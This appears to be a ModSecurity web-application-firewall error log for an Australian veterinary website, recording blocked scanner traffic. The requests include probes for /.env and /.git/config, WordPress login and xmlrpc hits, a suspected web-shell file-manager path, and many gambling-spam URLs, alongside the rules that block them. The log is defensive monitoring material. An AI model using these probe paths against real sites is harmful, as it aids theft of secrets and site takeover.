[Sat Feb 28 16:26:15.257611 2026] [:error] [pid 39183:tid 39194] [client 204.76.203.25:34620] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aaKmpxCf4HvhVePw3LYdcwAAAAI"]
[Sat Feb 28 17:14:52.705860 2026] [:error] [pid 39183:tid 39215] [client 31.145.136.57:60569] [client 31.145.136.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.145.136.57, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaKyDBCf4HvhVePw3LY1DwAAABc"]
[Sat Feb 28 17:15:17.687596 2026] [:error] [pid 11791:tid 11804] [client 217.63.112.92:25377] [client 217.63.112.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.63.112.92, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaKyJWuX5e1Q32gqxH1_KQAAAQs"]
[Sat Feb 28 17:29:13.348236 2026] [:error] [pid 39184:tid 39225] [client 45.153.34.31:58776] [client 45.153.34.31] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aaK1aVtZF9Zd_U7easBFPQAAAEY"]
[Sat Feb 28 17:39:06.887585 2026] [:error] [pid 22194:tid 22202] [client 66.249.75.37:54976] [client 66.249.75.37] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "188.237.201.68_f5e69cd1cc0d42f983b504b762ef3625564f43cd"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/assets/css/frontend.min.css"] [unique_id "aaK3uH6mbajs3bzQGyt8PwAAAUY"], referer: https://vetstars.com.au/services/
[Sat Feb 28 17:58:06.269040 2026] [:error] [pid 39184:tid 39238] [client 45.153.34.31:52726] [client 45.153.34.31] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aaK8LltZF9Zd_U7easBTrQAAAFM"]
[Sat Feb 28 18:08:00.210927 2026] [:error] [pid 52460:tid 52477] [client 179.43.191.19:35822] [client 179.43.191.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.43.191.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaK-gLLWOogAgHGh62ThPAAAAY4"], referer: https://vetstars.com.au/
[Sat Feb 28 19:20:03.595354 2026] [:error] [pid 39184:tid 39237] [client 43.130.53.252:52460] [client 43.130.53.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaLPY1tZF9Zd_U7easCB3wAAAFI"]
[Sat Feb 28 19:25:20.587960 2026] [:error] [pid 39184:tid 39219] [client 20.220.144.87:47061] [client 20.220.144.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaLQoFtZF9Zd_U7easCElgAAAEA"]
[Sat Feb 28 19:25:21.002975 2026] [:error] [pid 52460:tid 52476] [client 20.220.144.87:47041] [client 20.220.144.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaLQobLWOogAgHGh62QtjgAAAY0"]
[Sat Feb 28 19:25:21.434826 2026] [:error] [pid 39183:tid 39203] [client 20.220.144.87:47056] [client 20.220.144.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaLQoRCf4HvhVePw3LbImgAAAAs"]
[Sat Feb 28 19:25:21.853026 2026] [:error] [pid 52460:tid 52475] [client 20.220.144.87:47073] [client 20.220.144.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaLQobLWOogAgHGh62QtjwAAAYw"]
[Sat Feb 28 19:30:50.038514 2026] [:error] [pid 39183:tid 39211] [client 54.37.86.223:34892] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aaLR6hCf4HvhVePw3LbOCgAAABM"]
[Sat Feb 28 19:30:55.646680 2026] [:error] [pid 49763:tid 49787] [client 54.37.86.223:58894] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aaLR77THSOG_yf2PpqHGcgAAAdU"]
[Sat Feb 28 19:30:58.069256 2026] [:error] [pid 39184:tid 39225] [client 54.37.86.223:58916] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aaLR8ltZF9Zd_U7easCHOgAAAEY"]
[Sat Feb 28 19:31:00.722194 2026] [:error] [pid 52460:tid 52487] [client 54.37.86.223:58926] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aaLR9LLWOogAgHGh62QxkAAAAZg"]
[Sat Feb 28 19:31:03.594328 2026] [:error] [pid 49763:tid 49770] [client 54.37.86.223:55306] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aaLR97THSOG_yf2PpqHGjgAAAcQ"]
[Sat Feb 28 19:31:06.217257 2026] [:error] [pid 39183:tid 39203] [client 54.37.86.223:55318] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aaLR-hCf4HvhVePw3LbORAAAAAs"]
[Sat Feb 28 19:31:08.609903 2026] [:error] [pid 39184:tid 39235] [client 54.37.86.223:55338] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aaLR_FtZF9Zd_U7easCHZAAAAFA"]
[Sat Feb 28 19:31:11.173450 2026] [:error] [pid 52460:tid 52480] [client 54.37.86.223:55366] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aaLR_7LWOogAgHGh62QxuQAAAZE"]
[Sat Feb 28 19:31:13.592564 2026] [:error] [pid 39183:tid 39213] [client 54.37.86.223:37152] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aaLSARCf4HvhVePw3LbOewAAABU"]
[Sat Feb 28 19:31:16.333793 2026] [:error] [pid 49763:tid 49780] [client 54.37.86.223:37160] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aaLSBLTHSOG_yf2PpqHG2wAAAc4"]
[Sat Feb 28 19:31:19.353182 2026] [:error] [pid 39185:tid 39253] [client 54.37.86.223:37188] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aaLSBxVE-FfM89u7BQaKSQAAAIc"]
[Sat Feb 28 19:31:21.925611 2026] [:error] [pid 39184:tid 39241] [client 54.37.86.223:58458] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aaLSCVtZF9Zd_U7easCHfwAAAFY"]
[Sat Feb 28 19:31:24.574012 2026] [:error] [pid 39185:tid 39262] [client 54.37.86.223:58474] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aaLSDBVE-FfM89u7BQaKUQAAAJA"]
[Sat Feb 28 19:31:27.022177 2026] [:error] [pid 39183:tid 39204] [client 54.37.86.223:58486] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aaLSDxCf4HvhVePw3LbOvQAAAAw"]
[Sat Feb 28 19:31:29.796767 2026] [:error] [pid 39183:tid 39197] [client 54.37.86.223:58516] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aaLSERCf4HvhVePw3LbO5QAAAAU"]
[Sat Feb 28 19:31:32.508791 2026] [:error] [pid 49763:tid 49766] [client 54.37.86.223:33198] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aaLSFLTHSOG_yf2PpqHHZAAAAcA"]
[Sat Feb 28 19:31:35.129875 2026] [:error] [pid 39185:tid 39257] [client 54.37.86.223:33210] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aaLSFxVE-FfM89u7BQaKaAAAAIs"]
[Sat Feb 28 19:31:37.645820 2026] [:error] [pid 52460:tid 52487] [client 54.37.86.223:33224] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aaLSGbLWOogAgHGh62Qx3AAAAZg"]
[Sat Feb 28 19:31:40.124819 2026] [:error] [pid 49763:tid 49784] [client 54.37.86.223:33242] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaLSHLTHSOG_yf2PpqHHrAAAAdI"]
[Sat Feb 28 19:31:42.824739 2026] [:error] [pid 49763:tid 49773] [client 54.37.86.223:44362] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aaLSHrTHSOG_yf2PpqHHtwAAAcc"]
[Sat Feb 28 19:32:16.986557 2026] [:error] [pid 49763:tid 49786] [client 54.37.86.223:44372] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aaLSQLTHSOG_yf2PpqHImAAAAdQ"]
[Sat Feb 28 19:32:19.768770 2026] [:error] [pid 39183:tid 39204] [client 54.37.86.223:41212] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aaLSQxCf4HvhVePw3LbPygAAAAw"]
[Sat Feb 28 19:32:22.440237 2026] [:error] [pid 52460:tid 52485] [client 54.37.86.223:56132] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aaLSRrLWOogAgHGh62QyTQAAAZY"]
[Sat Feb 28 19:32:25.124333 2026] [:error] [pid 52460:tid 52464] [client 54.37.86.223:56150] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aaLSSbLWOogAgHGh62QyVQAAAYE"]
[Sat Feb 28 19:32:27.649839 2026] [:error] [pid 49763:tid 49777] [client 54.37.86.223:56172] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aaLSS7THSOG_yf2PpqHI_wAAAcs"]
[Sat Feb 28 19:32:30.179120 2026] [:error] [pid 49763:tid 49772] [client 54.37.86.223:56192] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aaLSTrTHSOG_yf2PpqHJFwAAAcY"]
[Sat Feb 28 19:32:32.683485 2026] [:error] [pid 49763:tid 49779] [client 54.37.86.223:49404] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aaLSULTHSOG_yf2PpqHJOAAAAc0"]
[Sat Feb 28 19:32:35.194724 2026] [:error] [pid 39184:tid 39236] [client 54.37.86.223:49412] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aaLSU1tZF9Zd_U7easCIDQAAAFE"]
[Sat Feb 28 19:32:37.744074 2026] [:error] [pid 39183:tid 39209] [client 54.37.86.223:49438] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aaLSVRCf4HvhVePw3LbQGAAAABE"]
[Sat Feb 28 19:32:40.413172 2026] [:error] [pid 49763:tid 49772] [client 54.37.86.223:49462] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaLSWLTHSOG_yf2PpqHJhwAAAcY"]
[Sat Feb 28 19:32:42.907178 2026] [:error] [pid 39185:tid 39249] [client 54.37.86.223:55624] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aaLSWhVE-FfM89u7BQaKmgAAAIM"]
[Sat Feb 28 19:32:45.557773 2026] [:error] [pid 49763:tid 49771] [client 54.37.86.223:55646] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aaLSXbTHSOG_yf2PpqHJngAAAcU"]
[Sat Feb 28 19:32:48.178901 2026] [:error] [pid 39183:tid 39199] [client 54.37.86.223:55676] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aaLSYBCf4HvhVePw3LbQRwAAAAc"]
[Sat Feb 28 19:32:50.563165 2026] [:error] [pid 39183:tid 39208] [client 54.37.86.223:55692] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aaLSYhCf4HvhVePw3LbQZQAAABA"]
[Sat Feb 28 19:32:53.089274 2026] [:error] [pid 49763:tid 49766] [client 54.37.86.223:52414] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aaLSZbTHSOG_yf2PpqHJtQAAAcA"]
[Sat Feb 28 19:32:55.469674 2026] [:error] [pid 49763:tid 49782] [client 54.37.86.223:52432] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aaLSZ7THSOG_yf2PpqHJvgAAAdA"]
[Sat Feb 28 19:32:58.105336 2026] [:error] [pid 49763:tid 49790] [client 54.37.86.223:52448] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aaLSarTHSOG_yf2PpqHJ0AAAAdg"]
[Sat Feb 28 19:33:01.127595 2026] [:error] [pid 49763:tid 49766] [client 54.37.86.223:52468] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aaLSbbTHSOG_yf2PpqHJ5QAAAcA"]
[Sat Feb 28 19:33:03.524526 2026] [:error] [pid 22194:tid 22214] [client 54.37.86.223:60828] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aaLSb36mbajs3bzQGyuQUAAAAVI"]
[Sat Feb 28 19:33:06.066813 2026] [:error] [pid 52460:tid 52486] [client 54.37.86.223:60842] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aaLScrLWOogAgHGh62Qy9gAAAZc"]
[Sat Feb 28 19:33:08.624470 2026] [:error] [pid 39183:tid 39214] [client 54.37.86.223:60856] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aaLSdBCf4HvhVePw3LbQtAAAABY"]
[Sat Feb 28 19:33:39.067763 2026] [:error] [pid 39183:tid 39195] [client 54.37.86.223:60874] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aaLSkxCf4HvhVePw3LbRjwAAAAM"]
[Sat Feb 28 19:33:42.137875 2026] [:error] [pid 39183:tid 39208] [client 54.37.86.223:40466] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aaLSlhCf4HvhVePw3LbRnwAAABA"]
